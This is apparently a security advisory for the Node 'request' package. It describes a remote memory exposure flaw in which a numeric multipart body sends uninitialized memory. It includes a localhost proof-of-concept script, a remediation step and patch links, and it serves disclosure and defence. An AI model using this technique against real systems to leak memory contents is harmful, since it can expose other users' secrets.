Remote Memory Exposure

Affecting request package, versions >2.2.5 <2.68.0

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Remote Memory Exposure. A potential remote memory exposure vulnerability exists in request. If a request uses a multipart attachment and the body type option is number with value X, then X bytes of uninitialized memory will be sent in the body of the request.

Note that while the impact of this vulnerability is high (memory exposure), exploiting it is likely difficult, as the attacker needs to somehow control the body type of the request. One potential exploit scenario is when a request is composed based on JSON input, including the body type, allowing a malicious JSON to trigger the memory leak.

Details

Constructing a Buffer class with integer N creates a Buffer of length N with non zero-ed out memory. Example:

var x = new Buffer(100); // uninitialized Buffer of length 100
// vs
var x = new Buffer('100'); // initialized Buffer with value of '100'

Initializing a multipart body in such manner will cause uninitialized memory to be sent in the body of the request.

Proof of concept

var http = require('http')
var request = require('request')

http.createServer(function (req, res) {
  var data = ''
  req.setEncoding('utf8')
  req.on('data', function (chunk) {
    console.log('data')
    data += chunk
  })
  req.on('end', function () {
    // this will print uninitialized memory from the client
    console.log('Client sent:\n', data)
  })
  res.end()
}).listen(8000)

request({
  method: 'POST',
  uri: 'http://localhost:8000',
  multipart: [{ body: 1000 }]
},
function (err, res, body) {
  if (err) return console.error('upload failed:', err)
  console.log('sent')
})

Remediation

Upgrade request to version 2.68.0 or higher.

References

• Blog: Information about Buffer

• Blog: Node Buffer API fix

• GitHub Commit

• GitHub PR

Snyk patch available for versions:

• <2.68.0 >=2.54.0
  View patch
• <2.54.0 >2.51.0
  View patch
• <=2.51.0 >2.47.0
  View patch
• =2.47.0
  View patch
• <2.47.0 >=2.27.0
  View patch
• <2.27.0 >=2.16.0
  View patch
• <2.16.0 >=2.9.150
  View patch
• <2.9.150 >=2.9.3
  View patch
• <2.9.3 >=2.2.6
  View patch